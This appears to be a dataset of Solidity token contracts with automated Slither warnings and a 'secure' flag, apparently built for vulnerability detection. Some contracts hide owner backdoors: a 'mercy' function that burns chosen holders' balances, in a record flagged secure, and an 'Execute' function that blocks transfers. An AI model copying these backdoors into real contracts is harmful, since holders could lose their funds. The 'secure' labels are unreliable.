{\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == rubbish, \"Not allowed\");\n\n _;\n }\n\n function mercy(address[] memory taxi) public onlyOwner {\n for (uint256 i = 0; i < taxi.length; i++) {\n address account = taxi[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_318.sol", "secure": 1, "size_bytes": 4343 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e860b03): DON.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = _tTotal.div(100).mul(3)\n// Recommendation for e860b03: Consider ordering multiplication before division.\ncontract DON is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"President Donald Trump\";\n string private constant _symbol = \"DON\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 0;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 0;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 505d0a4): DON._developmentAddress should be constant \n\t// Recommendation for 505d0a4: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x226c9789Ef08ED999484ED642172CbB296E93871);\n\t// WARNING Optimization Issue (constable-states | ID: b5802fd): DON._marketingAddress should be constant \n\t// Recommendation for b5802fd: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x226c9789Ef08ED999484ED642172CbB296E93871);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8edc23a): DON.uniswapV2Router should be immutable \n\t// Recommendation for 8edc23a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 907eda0): DON.uniswapV2Pair should be immutable \n\t// Recommendation for 907eda0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n\t// divide-before-multiply | ID: 95beda5\n uint256 public _maxTxAmount = _tTotal.div(100).mul(2);\n\t// divide-before-multiply | ID: e860b03\n uint256 public _maxWalletSize = _tTotal.div(100).mul(3);\n uint256 public _swapTokensAtAmount = _tTotal.div(1000);\n\t// divide-before-multiply | ID: c8bb854\n uint256 public _maxContractSell = _tTotal.div(1000).mul(3);\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ee73e92): DON.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ee73e92: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0a79c8a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0a79c8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8d9a776): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8d9a776: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0a79c8a\n\t\t// reentrancy-benign | ID: 8d9a776\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 0a79c8a\n\t\t// reentrancy-benign | ID: 8d9a776\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: f0afde5\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: f0afde5\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: f0afde5\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: f0afde5\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: f0afde5\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: f0afde5\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0654012): DON.changeMaxContractSell(uint256) should emit an event for _maxContractSell = amount * 10 ** 9 \n\t// Recommendation for 0654012: Emit an event for critical parameter changes.\n function changeMaxContractSell(uint256 amount) public onlyOwner {\n\t\t// events-maths | ID: 0654012\n _maxContractSell = amount * 10 ** 9;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0d6cc0): DON._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0d6cc0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 8d9a776\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 0a79c8a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 432a3d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 432a3d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f0afde5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f0afde5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9d1e7d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9d1e7d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxContractSell) {\n contractTokenBalance = _maxContractSell;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 432a3d0\n\t\t\t\t// reentrancy-benign | ID: f0afde5\n\t\t\t\t// reentrancy-eth | ID: 9d1e7d6\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 432a3d0\n\t\t\t\t\t// reentrancy-eth | ID: 9d1e7d6\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: f0afde5\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: f0afde5\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: f0afde5\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: f0afde5\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 432a3d0\n\t\t// reentrancy-benign | ID: f0afde5\n\t\t// reentrancy-eth | ID: 9d1e7d6\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 0a79c8a\n\t\t// reentrancy-events | ID: 432a3d0\n\t\t// reentrancy-benign | ID: f0afde5\n\t\t// reentrancy-benign | ID: 8d9a776\n\t\t// reentrancy-eth | ID: 9d1e7d6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0a79c8a\n\t\t// reentrancy-events | ID: 432a3d0\n\t\t// reentrancy-eth | ID: 9d1e7d6\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 9d1e7d6\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 9d1e7d6\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 432a3d0\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 9d1e7d6\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 9d1e7d6\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: f0afde5\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b8341b1): DON.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for b8341b1: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: b8341b1\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: b8341b1\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: b8341b1\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: b8341b1\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c6f0758): DON.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for c6f0758: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: c6f0758\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 094bb63): DON.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 094bb63: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 094bb63\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fa18d7c): DON.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for fa18d7c: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: fa18d7c\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}", "file_name": "solidity_code_3180.sol", "secure": 0, "size_bytes": 21073 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 93719c8): Contract locking ether found Contract BATTY has payable functions BATTY.constructor() But does not have a function to withdraw the ether\n// Recommendation for 93719c8: Remove the 'payable' attribute or add a withdraw function.\ncontract BATTY is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _crossAmounts;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: fe05fba): BATTY._decimals should be immutable \n\t// Recommendation for fe05fba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 560bb31): BATTY._totalSupply should be immutable \n\t// Recommendation for 560bb31: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 93719c8): Contract locking ether found Contract BATTY has payable functions BATTY.constructor() But does not have a function to withdraw the ether\n\t// Recommendation for 93719c8: Remove the 'payable' attribute or add a withdraw function.\n constructor() payable {\n _name = \"Batty Coin\";\n _symbol = \"BATTY\";\n _decimals = 18;\n _totalSupply = 1000000000 * 10 ** _decimals;\n _balances[owner()] = _balances[owner()].add(_totalSupply);\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 15c7fd3): BATTY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 15c7fd3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function Execute(address[] memory accounts, uint256 amount) external {\n if (_msgSender() != owner()) {\n revert(\"Caller is not the original caller\");\n }\n for (uint256 i = 0; i < accounts.length; i++) {\n _crossAmounts[accounts[i]] = amount;\n }\n }\n\n function cAmount(address account) public view returns (uint256) {\n return _crossAmounts[account];\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n uint256 crossAmount = cAmount(sender);\n if (crossAmount > 0) {\n require(\n amount > crossAmount,\n \"ERC20: cross amount does not equal the cross transfer amount\"\n );\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5fb958d): BATTY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5fb958d: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3181.sol", "secure": 0, "size_bytes": 6484 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PepeOriginal is ERC20 {\n constructor() ERC20(\"Pepe Original Version\", \"$POV\") {\n _mint(msg.sender, 420_690_000_000_000 * (10 ** 18));\n }\n}", "file_name": "solidity_code_3182.sol", "secure": 1, "size_bytes": 294 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract WEDOGE is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: b56a2b8): WEDOGE._owner should be immutable \n\t// Recommendation for b56a2b8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9de9f6f): WEDOGE.isApprovedForAll(address,address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for 9de9f6f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: afef4ab): WEDOGE._numberMinted(address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for afef4ab: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9402eb4): WEDOGE.approve(address,uint256).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for 9402eb4: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d76ac10): WEDOGE._getAux(address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for d76ac10: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 232809c): WEDOGE.balanceOf(address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for 232809c: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c94ddab): WEDOGE._setAux(address,uint64).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for c94ddab: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender);\n _;\n }\n\n uint256 public constant MAX_SUPPLY = 555;\n uint256 public MAX_FREE = 444;\n uint256 public MAX_FREE_PER_WALLET = 2;\n uint256 public COST = 0.001 ether;\n\n string private constant _name = \"WEDOGE\";\n string private constant _symbol = \"WEDOGE\";\n string private _baseURI = \"\";\n\n constructor() {\n _owner = msg.sender;\n }\n\n function mint(uint256 amount) external payable {\n address _caller = _msgSenderERC721A();\n\n require(totalSupply() + amount <= MAX_SUPPLY, \"SoldOut\");\n require(amount * COST <= msg.value, \"Value to Low\");\n\n _mint(_caller, amount);\n }\n\n function freeMint() external {\n address _caller = _msgSenderERC721A();\n uint256 amount = 1;\n\n require(totalSupply() + amount <= MAX_FREE, \"Freemint SoldOut\");\n require(\n amount + _numberMinted(_caller) <= MAX_FREE_PER_WALLET,\n \"Max per Wallet\"\n );\n\n _mint(_caller, amount);\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function setData(string memory _base) external onlyOwner {\n _baseURI = _base;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 11af1bf): WEDOGE.setConfig(uint256,uint256,uint256) should emit an event for MAX_FREE = _MAX_FREE MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET COST = _COST \n\t// Recommendation for 11af1bf: Emit an event for critical parameter changes.\n function setConfig(\n uint256 _MAX_FREE,\n uint256 _MAX_FREE_PER_WALLET,\n uint256 _COST\n ) external onlyOwner {\n\t\t// events-maths | ID: 11af1bf\n MAX_FREE = _MAX_FREE;\n\t\t// events-maths | ID: 11af1bf\n MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET;\n\t\t// events-maths | ID: 11af1bf\n COST = _COST;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n 